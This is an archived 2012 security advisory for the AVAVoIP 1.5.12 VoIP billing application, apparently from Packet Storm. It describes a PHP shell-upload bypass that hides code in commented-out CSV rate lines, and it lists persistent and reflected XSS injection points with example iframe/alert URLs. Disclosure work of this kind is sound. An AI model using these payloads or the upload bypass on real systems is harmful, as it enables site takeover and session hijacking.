exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

AVAVoIP 1.5.12 Cross Site Scripting / Shell Upload

AVAVoIP 1.5.12 Cross Site Scripting / Shell Upload
Posted Jul 17, 2012
Authored by Benjamin Kunz Mejri, Ibrahim El-Sayed, Vulnerability Laboratory | Site vulnerability-lab.com

AVAVoIP version 1.5.12 suffers from cross site scripting and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss
SHA-256 | 8599e60b92e8454a5283310d93c784484aaad81f0c9a8880f0042a731bd9023d

AVAVoIP 1.5.12 Cross Site Scripting / Shell Upload

Change Mirror Download
Title:
======
AVAVoIP v1.5.12 - Multiple Web Vulnerabilities


Date:
=====
2012-06-28


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=437


VL-ID:
=====
611


Common Vulnerability Scoring System:
====================================
6.5


Introduction:
=============
Designed from the ground up to empower VoIP and to meet the needs of the changing business environment, the
AVA VoIP platform provides best in class features and carrier performance at competitive cost so you can spend
more time on strategic initiatives and less time on technical issues and downtime. Powerful CDR Mediation,
Pricing, Rating, Billing, Reporting and Routing engines enable providers to meet the challenges they face every day.
The AVA VoIP package supports all the traditional telecom business models such as: prepaid and postpaid wholesale VoIP,
prepaid and postpaid retail VoIP, calling cards, callback, call shop, Internet café, hotels, etc. In addition our team
of experienced engineers can address and custom tailor updates or platform add-ons as requested by our clients. Avangard
Solutions, Inc. provides cost-effective, customized IT solutions to large and mid-sized organizations worldwide. With
experience in the latest, state of the art technology trends, our expertise spans a wide variety of subject matters in
the areas of Pricing and Rating, Billing, BSS, OSS, CRM, ERP, SRM and e-commerce solutions. We offer our strategic
expertise backed with years of experience in communications protocols, VoIP, Triple Play and converged solutions.

(Copy of the Vendor Homepage: http://avavoip.com/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in AVAVoIP Communication Application 1.5.12.


Report-Timeline:
================
2012-06-09: Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
1.1
An arbitrary File Upload Vulnerability is detected in AVAs AVAVoIP Communication Application v1.5.12.
An attacker can upload a php file to the website and access this php file to control the entire site.
The vulnerability can only be exploited with privileged application user account. The bug is located
in the FX rates > upload FX rates application function in the fx_rates_upload.php file.

Vulnerable Section(s):
[+] FX rates > upload FX rates

Vulnerable File(s):
[+] fx_rates_upload.php



1.2
Multiple persistent input validation vulnerabilities are detected in AVAs AVAVoIP Communication Application v1.5.12.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action & privileged user account. The persistent
vulnerabilities are located in multiple different files and also the bound parameters & affected output listings.

Vulnerable File(s):
[+] accountadd.php First Name
[+] agent_set.php
[+] batchadd.php
[+] carrier_list.php
[+] routeset_set.php
[+] tariff_add.php
[+] taxadd.php


Vulnerable Module(s):
[+] Accounts > Add > First Name
[+] Agents > Add Agents > Business Phone
[+] Rating & Billing > Update Batch > Batch Name
[+] Rating & Billing > Taxes & Localities > Taxes > Tax Name
[+] Routing > Carrers > Carrier ID > Add & Listing
[+] Routing > Route Sets > Add & Update > Route Set Name
[+] Routing > Tariffs > Update Name


Vulnerable Parameter(s):
[+] mtext, firstname & text
[+] agent_business_phone
[+] batch_name
[+] carrier_id
[+] route_set_name
[+] tariff_name
[+] taxname



1.3
Multiple non persistent cross site scripting vulnerabilities are detected in AVAs AVAVoIP Communication Application v1.5.12.
The vulnerability allows remote attackers to hijack website customer, moderator & admin sessions with medium/high required
user inter action or local low privileged user account. Successful exploitation result in account steal, phishing &
client-side context request manipulation.


Vulnerable File(s):
[+] agent_accounts_report.php
[+] tariff_add.php
[+] routeset_set.php


Vulnerable Parameter(s):
[+] routeset_id
[+] tariff_id
[+] agent_id


Proof of Concept:
=================
1.1
The local file include vulnerability can be exploited by privileged user accounts without required user inter action.
For demonstration or reproduce ...

The attacker can go to the vulnerable file which is located at FX rates > upload FX rates. The upload function in
the vulnerable page (fx_rates_upload.php) doesn't check the extension of the uploaded file. However, it checks the
format of the file via own flag. Therefore if the attacker uploaded a php file like this

<?
echo "test";
<?
The Attacker will get an error because it is not satisfying the format of how the uploaded file should be, but if the
attacker uploaded the following file ...

<? //ZIMBABWE,BWP,7.7160
echo "test"; //ZIMBABWE,BWP,7.7160
?> //ZIMBABWE,BWP,7.7160

The file will be successfully uploaded. The attacker bypassed the check of the format of the uploaded file function and
get a working php file because the data that we added are commented out.


1.2
The persistent script code injection vulnerabilities can be exploited by privileged user accounts with low required user
inter action. For demonstration or reproduce ...


Review: Accounts > Add > First Name

<tr>
<td class="mtext" width="200">First Name <span class="mandatory_field">*</span></td>
<td class="mtext"><input maxlength="255" type="text"><[PERSISTENT SCRIPT CODE INJECTION])'
<"="" class="loginfileld" size="20" name="first_name"></td>


Review: Agents > Add Agents > Business Phone

<tr>
<td class="mtext" width="200">Business Phone</td>
<td class="mtext">
<input name="agent_business_phone" type="text"><iframe src="agent_set.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION]")'
<"="" class="loginfileld">
</td>
</tr>



Review: Rating & Billing > Update Batch > Batch Name

<tr>
<td class="mtext" width="200">Batch Name <span class="mandatory_field">*</span></td>
<td class="mtext"><input maxlength="50" size="20" type="text"><iframe src="batchadd.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION]"'
name="batch_name" class="loginfileld"></td>
</tr>
<tr>


Review: Rating & Billing > Taxes & Localities > Taxes > Tax Name

<tr>
<td class="mtext" width="200">Tax Name <span class="mandatory_field">*</span></td>
<td class="mtext">
<input maxlength="255" class="loginfileld" size="20" type="text"><iframe src="taxadd.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION])'
<"="" name="taxname">



Review: Routing > Carrers > Carrier ID > Add & Listing

<tr><td>
<div style="width: 180px; float: left; margin: 5px 7px 0pt 5px;">
<span style="width: 80px; float: left; font-family: Tahoma,Verdana,Helvetica;">Carrier ID </span>
<span style="width: 100px; float: left; font-family: Tahoma,Verdana,Helvetica;"><input name="carrier_id" type="text">
<iframe src="carrier_list.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION])' <"="" onkeypress="checkEnter(event)" class="loginfileld"
style="width: 100px;"></span>
</div>



Review: Routing > Route Sets > Add & Update > Route Set Name

<tr>
<td class="mtext" width="200">Route Set Name <span class="mandatory_field">*</span></td>
<td class="mtext"><input name="route_set_name" type="text"><iframe src="routeset_set.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION])' <"="" class="loginfileld"></td>


Review: Routing > Tariffs > Update Name

<!--/NOTACTIVE-->
<!--ACTIVE--><a>Update "><iframe src="tariff_add.php-Dateien/[PERSISTENT SCRIPT CODE INJECTION])' <<="" a=""><!--/ACTIVE-->
</div>
<!--
Login / Logout section ends -->



1.3
The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required
user inter action. For demonstration or reproduce ...

http://avavoip.127.0.0.1:8080/agent_accounts_report.php?agent_id=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
http://avavoip.127.0.0.1:8080/tariff_add.php?tariff_id=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
http://avavoip.127.0.0.1:8080/routeset_set.php?routeset_id=%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C


Risk:
=====
1.1
The security risk of the local file upload vulnerability is estimated as medium(+).

1.2
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).

1.3
The security risk of the client side cross site scripting vulnerabilities are estimated as low(+).


Credits:
========
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed [the StOrM) (storm@vulnerability-lab.com)
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

Copyright © 2012 | Vulnerability Laboratory




--
VULNERABILITY LABORATORY - RESEARCH TEAM
COMPANY: www.vulnerability-lab.com or www.vuln-lab.com
ADMIN MAIL: admin@vulnerability-lab.com
PHONE: 01776757259

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close